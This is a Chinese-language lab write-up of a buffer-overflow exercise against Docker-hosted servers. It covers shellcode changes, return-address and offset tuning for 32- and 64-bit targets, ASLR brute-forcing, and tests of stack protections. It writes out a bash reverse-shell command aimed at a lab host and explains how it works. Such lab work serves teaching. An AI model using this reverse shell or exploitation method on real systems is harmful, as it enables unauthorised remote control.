# 缓冲区溢出原理

# 环境搭建
首先关闭地址随机化
sudo /sbin/sysctl -w kernel.randomize_va_space=0
切换到server-code目录下编译存在缓冲区溢出漏洞的程序,并将二进制文件复制到bof-containers文件夹中
cd server-code
make
make install
回到Labsetup目录下,执行以下命令,部署并启动docker环境
cd ..
dcbuild
dcup


# Task 1: Get Familiar with the Shellcode
Task 1需要修改shellcode,让它执行删除文件的操作
shellcode文件夹中提供了两个py文件,运行后分别会输出32位和64的二进制机器码文件codefile_32和codefile_64
然后运行Makefile编译出可执行文件,运行查看结果

查看32位程序的python的源代码
假设要删除的文件名为delete_target,则删除的命令为/bin/rm -f delete_target
修改这行代码,并且不能改变shellcode的长度,因此填充空格将*对齐
编译生成新的可执行文件,并创建一个delete_target,然后运行a32.out,文件成功被删除

# Task 2: Level-1 Attack
新开一个终端界面,切换至attack-code目录,向服务端发送信息
echo hello nc 10.9.0.5 9090
^C
docker终端会显示EBP和bof()函数中buffer地址的值
10.9.0.5上运行的程序设置了一个517字节的缓冲区,并且使用了strcpy()函数,所以如果接收的数据超过517字节则会触发缓冲区溢出漏洞
编辑exploit.py,将上一步shellcode_32.py中的shellcode复制到对应位置
修改变量start,ret和offset的值

运行exploit.py生成badfile,然后使用cat badfile的方式发送至服务器
./exploit.py
cat badfile nc 10.9.0.5 9090

接下来修改shellcode在服务器上执行一个反弹shell,相应的命令为
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
命令中,-i参数表示启动一个交互式bash,> /dev/tcp/x.x.x.x/xxxx表示将输出发送到远程地址x.x.x.x的xxxx端口0, 1, 2是特殊的文件描述符,分别表示:
- 0:
stdin,标准输入 - 1:
stdout,标准输出 - 2:
stderr,标准错误输出
0<&1和2>&1就表示将输入和错误输出都重定向到标准输出中 新建一个终端,使用nc -lnv 9090监听9090端口,然后发送新的shellcode至服务端

反弹shell成功连接到nc监听的端口
# Task 3: Level-2 Attack
连接至另一个服务端10.9.0.6,同样先输入echo hello nc 10.9.0.6 9090然后ctrl+c结束

此时docker终端只显示了buffer的地址,没有显示EBP的值,但已知buffer的大小为[100, 300]区间内,所以可以将100到308内的每四字节都替换为返回地址ret
重新编译并发送至服务器,可以看到shellcode成功执行


# Task 4: Level-3 Attack
Task 4的目标机器为10.9.0.7,首先发送echo hello查看服务器输出

可以看到,10.9.0.7上运行的是64位的程序
根据实验手册中的描述,64位程序的处理难点在于如何覆盖64位返回地址
64位程序的实际可用地址为0x0至0x00007FFFFFFFFFFF,前两字节固定为\x00,而strcpy()函数在复制时遇到\x00则会停止,所以ret应使用小端位序,将\x00字节放在后面
编辑exploit.py,首先复制shellcode_64.py中的64位shellcode
修改start,ret,offset和content


发送至服务器,shellcode成功执行


# Task 5: Level-4 Attack
首先发送echo hello,查看服务器的输出

对比task4的程序,task5程序的RBP值和buffer地址之间的间隔变小了
修改exploit.py,将ret的值设为RBP+n,n是[1184, 1424]之间的值,取n=1200(原理暂不清楚)



# Task 6: Experimenting with the Address Randomization
首先打开地址随机化
sudo sysctl -w kernel.randomize_va_space=2
向10.9.0.5服务器发送两次echo hello信息,可以看到每次运行时的地址都不一样
在32位程序中,只有19位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解
利用Task 2中的shellcode和attack-code目录下的brute-forth.sh脚本进行攻击
爆破尝试了32419次后成功执行了反弹shell
# Task 7: Experimenting with Other Countermeasures
# StackGuard保护机制
进入server-code目录,编辑Makefile,去除-fno-stack-protector选项,重新编译生成可执行文件
用badfile作为stack-L1的输入
./stack-L1 < ../attack-code/badfile
显示检测到了stack smashing,程序停止运行
# 不可执行栈
进入shellcode文件夹,编辑Makefile,去除-z execstack选项,重新编译生成可执行文件
此时编译出的两个程序都无法正常运行
